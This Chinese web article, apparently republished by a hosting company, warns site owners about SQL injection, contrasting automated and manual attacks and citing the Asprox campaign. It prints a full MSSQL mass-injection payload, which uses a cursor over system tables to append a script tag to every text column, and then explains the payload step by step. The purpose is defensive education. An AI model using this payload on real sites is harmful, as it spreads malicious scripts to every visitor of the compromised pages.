小心你的WEB应用程序成为数据窃贼的帮凶(3) |
发布时间: 2012/6/11 19:27:54 |
自动攻击
攻击者可以使用两种主要的攻击方法来利用SQL注入漏洞:自动攻击和手动攻击。从字面上看似乎很容易理解,但这两种攻击在机制上是非常不同的。自动攻击一般是为特定目的而编制的一种工具所导致的结果。例如,有的攻击使用大规模的注入攻击,其目的是为了让其攻击范围最大化并任意扩散其代码。这种大规模的攻击一般针对非常具体的应用程序架构,如运行ASP的IIS亿恩科技服务器等。而Asprox攻击,其目的是为了将一个JavaScript或iframe标记注入到网页中,从而传播病毒。 自动SQL注入举例 下面是一个高级SQL注入攻击的例子,它能够注入到某些字段类型中。很长一段时间以来,此类代码可以有效的帮助攻击者传播病毒。 wangzhan.com/ssp.asp?username=zhangsan’;DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE TABLE_CURSOR CURSOR FOR SELECT A.NAME,B.NAME FROM SYSOBJECTS A,SYSCOLUMNS B WHERE A.ID=B.ID AND A.XTYPE=‘U’ AND (B.XTYPE=99 OR B.XTYPE=35 OR B.XTYPE=231 OR B.XTYPE=167) OPEN TABLE_CURSOR FETCH NEXT FROM TABLE_CURSOR INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC(‘UPDATE [‘+@T+’] SET [‘+@C+’]=RTRIM(CONVERT(VARCHAR(4000),[‘+@C+’]))+’<script code>‘) FETCH NEXT FROM TABLE_CURSOR INTO @T,@C END CLOSE TABLE_CURSOR DEALLOCATE TABLE_CURSOR;-- 下面,我们简单地看一下这段代码是如何针对后端数据库实施攻击的。首先,攻击者声明了Table (T) 和 Column (C)这两个变量。 DECLARE @T VARCHAR(255),@C VARCHAR(255) 并声明了一个可以保存查询结果的表cursor: DECLARE TABLE_CURSOR CURSOR FOR 下面的SELECT语句通过“text”、“sysname”、“varchar”等列来检索所有的用户对象,并且将结果存储在前面创建的CURSOR中。 SELECT A.NAME,B.NAME FROM SYSOBJECTS A,SYSCOLUMNS B WHERE A.ID=B.ID AND A.XTYPE=‘U’ AND (B.XTYPE=99 OR B.XTYPE=35 OR B.XTYPE=231 OR B.XTYPE=167) 在下面的代码中,数据表CURSOR检索结果,并将其分配给表和列变量: OPEN TABLE_CURSOR FETCH NEXT FROM TABLE_CURSOR INTO @T,@C WHILE(@@FETCH_STATUS=0) 此时,攻击者已经检索了数据库中基于文本的这些列,其意图是为了修改这些列的内容。在这里,攻击者虽然没有篡改数据,但已经完成了所有必要的侦察。然后,执行更新语句,将JavaScript置于列变量中的每一列中。攻击完成后,包含Web内容(这些内容源自数据库的任何字段)的任何网页都会提交攻击者的恶意JavaScript代码。然后,该JavaScript用一个病毒感染Web用户的计算机: WHILE(@@FETCH_STATUS=0) BEGIN EXEC(‘UPDATE [‘+@T+’] SET [‘+@C+’]=RTRIM(CONVERT(VARCHAR(4000),[‘+@C+’]))+’<script code>‘) FETCH NEXT FROM TABLE_CURSOR INTO @T,@C END 在注入的结尾,攻击者执行清理,覆盖所有的攻击痕迹: CLOSE TABLE_CURSOR DEALLOCATE TABLE_CURSOR;-- 这些攻击是完全自动化的;黑客攻击只需使用搜索引擎简单地搜索互联网,查找运行经典的ASP代码的Web亿恩科技服务器即可。别再自欺欺人的相信“我的网站:(www.enkj.com)很小,谁会愿意攻击它呢?”这种愚蠢的谎言。如果你正在通过互联网做商务,不管企业大小,都易于遭到攻击。 本文出自:亿恩科技【www.enkj.com】 |